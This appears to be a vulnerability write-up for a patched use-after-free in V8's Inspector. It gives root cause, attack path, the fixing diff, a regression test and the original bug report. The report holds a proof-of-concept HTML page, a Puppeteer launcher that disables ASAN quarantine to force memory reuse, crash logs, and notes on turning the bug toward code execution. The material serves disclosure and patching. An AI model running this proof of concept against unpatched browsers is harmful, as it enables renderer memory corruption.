Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in V8
DescriptionUse after free in V8
ComponentV8
Sub-componentInspector
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker486927780
Fix commitba0258ba9609 (v8/v8) +69/-30
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Credited5shain
Reported2026-02-23 · bounty $3000 (per vendor advisory)
Fix landed2026-02-27 (public git)
Disclosed2026-04-07
Patch gap39 days — fix public in source before the advisory

Background

`InspectedContext`
an inspector-side object representing one JS execution context (e.g. a frame/iframe), owned in V8InspectorImpl’s m_contexts map and destroyed when the context is reported gone.
`V8InspectorImpl::getContext`
a lookup returning the InspectedContext for a (groupId, contextId); pre-patch it returned a raw InspectedContext* borrowed from the owning map.
Reentrancy into user JS
inspector code paths such as console message formatting and custom preview can call back into user JavaScript, which may destroy the very context being inspected (the PoC destroys it from Error.prepareStackTrace during console.log).
`std::shared_ptr`
a reference-counted smart pointer; holding one keeps the pointee alive for the holder’s scope even if the original owner drops it.

Root Cause Analysis

Numerous inspector call sites obtained an InspectedContext* from V8InspectorImpl::getContext(...) (which internally returned contextIt->second.get(), a bare pointer into the owning container) and then dereferenced it — e.g. calling getInjectedScript, addInternalObject, or origin() — across operations that can transition into user JS. The violated invariant is that the borrowed InspectedContext* must outlive its uses, but user JS invoked during those operations (for instance destroying the execution context from inside console.log formatting via Error.prepareStackTrace calling fireContextDestroyed) can free the InspectedContext, leaving the raw pointer dangling. The subsequent dereference is a use-after-free.

The fix changes getContext’s return type to std::shared_ptr<InspectedContext> and converts every caller to hold that shared_ptr on the stack, so a reference is retained for the duration of the potentially-reentrant operation and the object cannot be freed out from under the pointer. The early-return-on-null pattern (if (!inspectedContext) return ...) is preserved, so lookups that legitimately fail still bail safely.

Key insight
The core mistake was borrowing a raw InspectedContext* across operations that reenter user JS capable of destroying that context; the fix makes getContext hand back a std::shared_ptr and pins it on the stack so the context stays alive through the reentrant call.

Attack Path

  1. Register a JS callback that runs during inspector formatting The PoC sets Error.prepareStackTrace and logs console.log(new Error('trigger')), so user JS runs while the inspector is building the console message for a specific context.
  2. Destroy the inspected context mid-operation Inside that callback, inspector.fireContextDestroyed() tears down the InspectedContext, freeing the object that the inspector’s in-flight code path is still referencing.
  3. Dereference the freed context After the callback returns, the inspector path continues using the previously fetched raw InspectedContext* (e.g. to fetch the injected script / build the preview), dereferencing freed memory — a use-after-free.
  4. Crash or controlled reuse This yields at minimum a crash; whether the freed slot can be reclaimed with attacker-controlled data for a stronger primitive is (inferred) and not demonstrated by the patch.

Impact Assessment

An attacker able to drive the inspector against attacker-controlled JS (DevTools/inspector-enabled context) can free an InspectedContext from within a reentrant JS callback and cause the inspector to use the freed object, a use-after-free in the process hosting V8’s inspector. The advisory classifies this as Use-after-free in V8 and reports no exploited-in-the-wild status; the precondition is an active inspector session evaluating attacker JS that can trigger context destruction during a formatting/preview path. Escalation beyond a crash to a read/write primitive or code execution is (inferred) and not shown by the diff.

Changed Functions

FunctionChangeNotes
if
src/inspector/v8-debugger-agent-impl.cc
modified

Files Changed

  • src/inspector/custom-preview.cc
  • src/inspector/injected-script.cc
  • src/inspector/v8-console-message.cc
  • src/inspector/v8-console.cc
  • src/inspector/v8-debugger-agent-impl.cc
  • src/inspector/v8-debugger.cc
  • src/inspector/v8-heap-profiler-agent-impl.cc
  • src/inspector/v8-inspector-impl.cc

Audit Directions

  • Raw pointers borrowed from owning containers
    Audit inspector (and other) code that calls .get()-style lookups returning bare pointers into a map, especially where the value is held across any callback that can reenter user JS.
  • Reentrancy across JS-formatting hooks
    Review paths that format/preview objects or build stack traces (Error.prepareStackTrace, custom formatters, console previews), since these synchronously run user JS that can destroy inspector-owned objects mid-operation.
  • Lifetime of context-scoped objects
    Look for other V8InspectorImpl-owned objects (sessions, scripts, injected scripts) fetched as raw pointers and used after operations that may fire fireContextDestroyed or similar teardown.
From ba0258ba96097bc799c61b145164ec343b56d37b Mon Sep 17 00:00:00 2001
From: Simon Zünd <szuend@chromium.org>
Date: Fri, 27 Feb 2026 05:20:14 +0000
Subject: [PATCH] [inspector] Use std::shared_ptr for InspectedContext

Unfortunately at this point we are not able to move `InspectedContext`
to the managed C++ heap due to missing Heap* collections and the lack
of labeling retainer links.

The next best thing we can do for now is use std::shared_ptr for
InspectedContext and keep an instance on the stack every time we can
potentially transition into user JS.

R=bmeurer@chromium.org

Fixed: 486927780
Change-Id: I5e4921521a24cc3cd53ffb6cb5b6b6f9d98490e2
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7613210
Auto-Submit: Simon Zünd <szuend@chromium.org>
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Simon Zünd <szuend@chromium.org>
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Cr-Commit-Position: refs/heads/main@{#105489}
---

diff --git a/src/inspector/custom-preview.cc b/src/inspector/custom-preview.cc
index 7ab5f00..7877348 100644
--- a/src/inspector/custom-preview.cc
+++ b/src/inspector/custom-preview.cc
@@ -59,7 +59,7 @@
   v8::Isolate* isolate = v8::Isolate::GetCurrent();
   V8InspectorImpl* inspector =
       static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       inspector->getContext(InspectedContext::contextId(context));
   if (!inspectedContext) return nullptr;
   return inspectedContext->getInjectedScript(sessionId);
diff --git a/src/inspector/injected-script.cc b/src/inspector/injected-script.cc
index 1260f19..9206038 100644
--- a/src/inspector/injected-script.cc
+++ b/src/inspector/injected-script.cc
@@ -1164,7 +1164,7 @@
     v8::Isolate* isolate = v8::Isolate::GetCurrent();
     V8InspectorImpl* inspector =
         static_cast<V8InspectorImpl*>(v8::debug::GetInspector(isolate));
-    InspectedContext* inspectedContext =
+    std::shared_ptr<InspectedContext> inspectedContext =
         inspector->getContext(InspectedContext::contextId(context));
     InjectedScript* injectedScript =
         inspectedContext ? inspectedContext->getInjectedScript(sessionId)
diff --git a/src/inspector/v8-console-message.cc b/src/inspector/v8-console-message.cc
index 128bc6c..567c92a 100644
--- a/src/inspector/v8-console-message.cc
+++ b/src/inspector/v8-console-message.cc
@@ -258,7 +258,7 @@
   int contextGroupId = session->contextGroupId();
   int contextId = m_contextId;
   if (m_arguments.empty() || !contextId) return nullptr;
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       inspector->getContext(contextGroupId, contextId);
   if (!inspectedContext) return nullptr;
 
@@ -423,7 +423,7 @@
                                 bool generatePreview) const {
   if (m_arguments.empty() || !m_contextId) return nullptr;
   DCHECK_EQ(1u, m_arguments.size());
-  InspectedContext* inspectedContext =
+  std::shared_ptr<InspectedContext> inspectedContext =
       session->inspector()->getContext(session->contextGroupId(), m_contextId);
   if (!inspectedContext) return nullptr;
 
diff --git a/src/inspector/v8-console.cc b/src/inspector/v8-console.cc
index 3657822..2e46a26 100644
--- a/src/inspector/v8-console.cc
+++ b/src/inspector/v8-console.cc
@@ -59,7 +59,8 @@
   int groupId() const { return m_inspector->contextGroupId(contextId()); }
 
   InjectedScript* injectedScript(int sessionId) {
-    InspectedContext* context = m_inspector->getContext(groupId(), contextId());
+    std::shared_ptr<InspectedContext> context =
+        m_inspector->getContext(groupId(), contextId());
     if (!context) return nullptr;
     return context->getInjectedScript(sessionId);
   }
diff --git a/src/inspector/v8-debugger-agent-impl.cc b/src/inspector/v8-debugger-agent-impl.cc
index 756560c..2e78b58 100644
--- a/src/inspector/v8-debugger-agent-impl.cc
+++ b/src/inspector/v8-debugger-agent-impl.cc
@@ -898,7 +898,8 @@
   {
     v8::HandleScope handleScope(m_isolate);
     int contextId = it->second->executionContextId();
-    InspectedContext* inspected = m_inspector->getContext(contextId);
+    std::shared_ptr<InspectedContext> inspected =
+        m_inspector->getContext(contextId);
     if (!inspected) {
       return Response::ServerError("Cannot retrive script context");
     }
@@ -943,7 +944,8 @@
   }
   V8DebuggerScript* script = it->second.get();
   int contextId = script->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected)
     return Response::ServerError("Cannot continue to specified location");
   v8::HandleScope handleScope(m_isolate);
@@ -1002,7 +1004,8 @@
   }
   if (!m_blackboxedExecutionContexts.empty()) {
     int contextId = it->second->executionContextId();
-    InspectedContext* inspected = m_inspector->getContext(contextId);
+    std::shared_ptr<InspectedContext> inspected =
+        m_inspector->getContext(contextId);
     if (inspected && m_blackboxedExecutionContexts.count(
                          inspected->uniqueId().toString()) > 0) {
       return true;
@@ -1074,7 +1077,8 @@
   v8::debug::BreakpointId debuggerBreakpointId;
   v8::debug::Location location(lineNumber, columnNumber);
   int contextId = script->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected) return nullptr;
 
   {
@@ -1164,7 +1168,8 @@
     return Response::ServerError("No script with given id found");
   }
   int contextId = it->second->executionContextId();
-  InspectedContext* inspected = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspected =
+      m_inspector->getContext(contextId);
   if (!inspected) {
     return Response::InternalError();
   }
@@ -1962,7 +1967,7 @@
 
   int contextId = script->executionContextId();
   int contextGroupId = m_inspector->contextGroupId(contextId);
-  InspectedContext* inspected =
+  std::shared_ptr<InspectedContext> inspected =
       m_inspector->getContext(contextGroupId, contextId);
   std::unique_ptr<protocol::DictionaryValue> executionContextAuxData;
   if (inspected) {
diff --git a/src/inspector/v8-debugger.cc b/src/inspector/v8-debugger.cc
index 69fb293..a514972 100644
--- a/src/inspector/v8-debugger.cc
+++ b/src/inspector/v8-debugger.cc
@@ -1452,7 +1452,8 @@
                                    v8::Local<v8::Object> object,
                                    V8InternalValueType type) {
   int contextId = InspectedContext::contextId(context);
-  InspectedContext* inspectedContext = m_inspector->getContext(contextId);
+  std::shared_ptr<InspectedContext> inspectedContext =
+      m_inspector->getContext(contextId);
   return inspectedContext ? inspectedContext->addInternalObject(object, type)
                           : false;
 }
diff --git a/src/inspector/v8-heap-profiler-agent-impl.cc b/src/inspector/v8-heap-profiler-agent-impl.cc
index b8563c7..33e8954 100644
--- a/src/inspector/v8-heap-profiler-agent-impl.cc
+++ b/src/inspector/v8-heap-profiler-agent-impl.cc
@@ -57,8 +57,9 @@
       : m_offset(0), m_strings(10000), m_session(session) {}
 
   const char* GetName(v8::Local<v8::Context> context) override {
-    InspectedContext* inspected_context = m_session->inspector()->getContext(
-        m_session->contextGroupId(), InspectedContext::contextId(context));
+    std::shared_ptr<InspectedContext> inspected_context =
+        m_session->inspector()->getContext(
+            m_session->contextGroupId(), InspectedContext::contextId(context));
     if (!inspected_context) return nullptr;
     String16 name = inspected_context->origin();
     size_t length = name.length();
diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc
index 9dae9ef..b570974 100644
--- a/src/inspector/v8-inspector-impl.cc
+++ b/src/inspector/v8-inspector-impl.cc
@@ -237,8 +237,8 @@
   }
 }
 
-InspectedContext* V8InspectorImpl::getContext(int groupId,
-                                              int contextId) const {
+std::shared_ptr<InspectedContext> V8InspectorImpl::getContext(
+    int groupId, int contextId) const {
   if (!groupId || !contextId) return nullptr;
 
   auto contextGroupIt = m_contexts.find(groupId);
@@ -247,20 +247,21 @@
   auto contextIt = contextGroupIt->second->find(contextId);
   if (contextIt == contextGroupIt->second->end()) return nullptr;
 
-  return contextIt->second.get();
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/inspector/regress/regress-crbug-486927780-expected.txt b/test/inspector/regress/regress-crbug-486927780-expected.txt
new file mode 100644
index 0000000..e1a234a
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780-expected.txt
@@ -0,0 +1 @@
+Tests that destroying context from inside of console.log does not crash
diff --git a/test/inspector/regress/regress-crbug-486927780.js b/test/inspector/regress/regress-crbug-486927780.js
new file mode 100644
index 0000000..a156dc2
--- /dev/null
+++ b/test/inspector/regress/regress-crbug-486927780.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+const {session, contextGroup, Protocol} = InspectorTest.start(
+    'Tests that destroying context from inside of console.log does not crash');
+
+const expression = `
+  Error.prepareStackTrace = function(error, trace) {
+    inspector.fireContextDestroyed();
+    return '<mock formatted stack trace>';
+  };
+  console.log(new Error('trigger'));
+`;
+
+(async () => {
+  Protocol.Runtime.enable();
+  contextGroup.createContext('mock-iframe');
+  const {params: {context: {uniqueId}}} =
+      await Protocol.Runtime.onceExecutionContextCreated();
+
+  await Protocol.Runtime.evaluate({expression, uniqueContextId: uniqueId});
+
+  InspectorTest.completeTest();
+})();
Loading diff…

Original Bug Report

reported by tn...@gmail.com

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability


Report description

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules


The problem

Please describe the technical details of the vulnerability

Chrome V8 Inspector InjectedScript Use-After-Free Vulnerability

Summary

A use-after-free vulnerability in Chrome’s V8 Inspector allows a malicious webpage to trigger memory corruption in the renderer process. The bug occurs when an iframe is removed during the Error.prepareStackTrace callback, which runs synchronously during console.log() processing, causing a dangling pointer to a freed InjectedScript object.

Vulnerability Details

Bug Type

Use-After-Free (UAF) in V8 Inspector

Affected Component

  • File: v8/src/inspector/injected-script.cc
  • Function: v8_inspector::InjectedScript::wrapObjectMirror()
  • Line: 628

Affected Object

  • Class: v8_inspector::InjectedScript
  • Size: 232 bytes
  • Accessed Offset: 224 bytes (m_customPreviewEnabled member)

MiraclePtr Protection Status

NOT PROTECTED - The pointer is a raw C++ pointer, not wrapped in raw_ptr<T>.

The dangling pointer exists in the call chain:

  • V8ConsoleMessage::wrapArguments() calls session->wrapObject() (v8-console-message.cc:300)
  • V8InspectorSessionImpl::wrapObject() calls findInjectedScript() which returns a raw InjectedScript*
  • This raw pointer is used after JavaScript execution that can free the pointed-to object

Root Cause Analysis

The Vulnerability Flow

  1. Setup: A malicious page creates an iframe with a script that hooks Error.prepareStackTrace

  2. Trigger: The iframe calls console.log(new Error('trigger'))

  3. V8ConsoleMessage Creation: Chrome creates a V8ConsoleMessage object containing the console arguments

  4. Stack Trace Formatting: When formatting the Error object for DevTools, V8 calls the custom Error.prepareStackTrace callback

  5. Critical Action: Inside the callback, JavaScript removes the iframe (window.frameElement.remove())

  6. Context Destruction: Removing the iframe triggers:

    • LocalWindowProxy::DisposeContext()
    • MainThreadDebugger::ContextWillBeDestroyed()
    • V8InspectorImpl::discardInspectedContext()
    • InspectedContext destructor runs
    • InjectedScript is freed (via unique_ptr in m_injectedScripts map)
  7. Dangling Pointer Use: Control returns to wrapArguments() which still holds the raw InjectedScript* pointer and calls wrapObjectMirror() on freed memory

Source Code Flow

console.log(new Error())
    ↓
V8Console::Log()
    ↓
ConsoleHelper::reportCall()
    ↓
V8ConsoleMessage::wrapArguments()
    ↓
    session->wrapObject()
        ↓
        findInjectedScript() → returns InjectedScript*
        ↓
        [Error.prepareStackTrace callback runs HERE]
        [JavaScript removes iframe]
        [InjectedScript FREED]
        ↓
        injectedScript->wrapObject() → UAF!
            ↓
            wrapObjectMirror() reads m_customPreviewEnabled at offset 224

Impact

Security Impact

  • Memory Corruption: Read from freed 232-byte heap region
  • Renderer Process: The crash occurs in the renderer process
  • Potential for Exploitation:
    • The freed memory can be reclaimed by same-bucket allocations
    • With ASAN quarantine disabled (quarantine_size_mb=0), different Chrome objects naturally take the freed slot
    • If m_customPreviewEnabled (offset 224) reads as non-zero, additional virtual method calls occur on the fake object
    • With controlled memory reclamation, this could lead to code execution

Memory Reuse Evidence

With ASAN quarantine disabled, we observe heap-buffer-overflow instead of heap-use-after-free, proving memory reuse:

0x113bf94dfc20 is located 344 bytes after 200-byte region
allocated by thread T8 here:
    ipcz::Router::Deserialize (200 bytes)

The freed InjectedScript slot is being reused by other allocations. The ipcz::Router (200 bytes, IPC system) lands nearby. The size mismatch causes an out-of-bounds read, but this demonstrates the allocator IS reusing the freed memory.

Exploitation Challenges

  1. The UAF read happens synchronously in the same call stack as the free
  2. No JavaScript execution window exists between free and use
  3. The InjectedScript (232 bytes) bucket may not align with JS-controllable objects
  4. A separate thread/process would be needed to race the allocation

Attack Prerequisites

  1. DevTools must be connected (via CDP or --auto-open-devtools-for-tabs)
  2. Runtime.enable protocol message must be active (automatic when Console is used)

Trigger Variants

The vulnerability can be triggered via multiple iframe techniques:

  1. srcdoc iframe - Inline HTML in srcdoc attribute (same-origin) ✅ CRASHES
  2. javascript: URL iframe - Script in iframe src ✅ CRASHES
  3. blob: URL iframe - Blob URL with HTML content ❌ Cross-origin blocked
  4. data: URL iframe - Data URL with HTML content ❌ Cross-origin blocked

The key requirement is same-origin access to parent.document so the iframe can remove itself.

Tested Configuration

  • Chrome Version: 146.0.7680.0 (ASAN Build)
  • Platform: Windows x64
  • Build: Official Chromium ASAN build from chromium-browser-asan storage bucket

Proof of Concept

PoC (poc.html)

<!DOCTYPE html>
<html>
<body>
<script>
const iframe = document.createElement('iframe');
iframe.srcdoc = `<html><body><script>
Error.prepareStackTrace = function(error, trace) {
    window.frameElement.remove(); // Free InjectedScript
    return '';
};
console.log(new Error('trigger')); // UAF triggered on return
<\/script></body></html>`;
document.body.appendChild(iframe);
</script>
</body>
</html>

Running with Puppeteer (pptr.js)

const puppeteer = require('puppeteer');
const path = require('path');

(async () => {
  const browser = await puppeteer.launch({
    executablePath: 'path/to/chrome-asan/chrome.exe',
    args: ['--no-sandbox'],
    headless: false,
    env: {
      ...process.env,
      ASAN_OPTIONS: 'quarantine_size_mb=0' // Force memory reuse
    }
  });
  const page = await browser.newPage();
  await page.goto(`file://${path.resolve(__dirname, 'poc.html')}`);
  await new Promise(r => setTimeout(r, 3000));
  process.exit(1);
})();

ASAN Crash Report

With Quarantine (heap-use-after-free detected)

==83024==ERROR: AddressSanitizer: heap-use-after-free on address 0x122206472b20
READ of size 1 at 0x122206472b20 thread T0
    #0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
    #1 v8_inspector::InjectedScript::wrapObject() injected-script.cc:619
    #2 v8_inspector::V8InspectorSessionImpl::wrapObject() v8-inspector-session-impl.cc:317
    #3 v8_inspector::V8ConsoleMessage::wrapArguments() v8-console-message.cc:300
    ...

0x122206472b20 is located 224 bytes inside of 232-byte region
freed by thread T0 here:
    #0 operator delete
    #1 std::__Cr::default_delete<v8_inspector::InjectedScript>::operator()
    #2 v8_inspector::InspectedContext::~InspectedContext()
    #3 v8_inspector::V8InspectorImpl::discardInspectedContext()
    #4 blink::MainThreadDebugger::ContextWillBeDestroyed()
    ...

With Quarantine Disabled (heap-buffer-overflow = memory reused)

==106596==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x126f6f4e50e0
READ of size 1 at 0x126f6f4e50e0 thread T0
    #0 v8_inspector::InjectedScript::wrapObjectMirror() injected-script.cc:628
    ...

0x126f6f4e50e0 is located 328 bytes after 216-byte region
allocated by thread T0 here:
    #0 operator new
    #1 v8_inspector::V8InspectorSessionImpl::create() v8-inspector-session-impl.cc:98
    ...

This shows that when ASAN quarantine is disabled, a 216-byte V8InspectorSessionImpl object took the freed slot, and the code read past it (328 bytes after = 216 + 112, while original access was at offset 224).

Suggested Fix

The fix should ensure the InjectedScript pointer remains valid throughout the wrapArguments() operation. Options:

  1. Use safe pointers: Convert the raw InjectedScript* to raw_ptr<InjectedScript> or similar smart pointer

  2. Re-validate before use: After any JavaScript callback (like prepareStackTrace), re-lookup the InjectedScript from the context

  3. Prevent context destruction during callback: Block iframe removal during console message processing

Example fix in v8-console-message.cc:

// Before: raw pointer used after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs here that could free injectedScript ...
injectedScript->wrapObject(...); // UAF!

// After: Re-fetch or validate after JS execution
InjectedScript* injectedScript = session->findInjectedScript(m_contextId);
// ... JS runs ...
injectedScript = session->findInjectedScript(m_contextId); // Re-fetch
if (!injectedScript) return; // Context was destroyed
injectedScript->wrapObject(...); // Safe

Files Attached

  • poc.html - Clean PoC file
  • pptr.js - Puppeteer automation script
  • crash.txt - ASAN crash log (with quarantine)
  • crash_quarantine0.txt - ASAN crash log (quarantine disabled, shows memory reuse)

Timeline

  • Tested Version: Chromium 146.0.7680.0

Impact analysis

.


The cause

What version of Chrome have you found the security issue in?

I’ve been able to reproduce the crash on versions 72-93, 109-146.

Yes, it is related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed process)

How would you like to be publicly acknowledged for your report?

5shain

View on issue tracker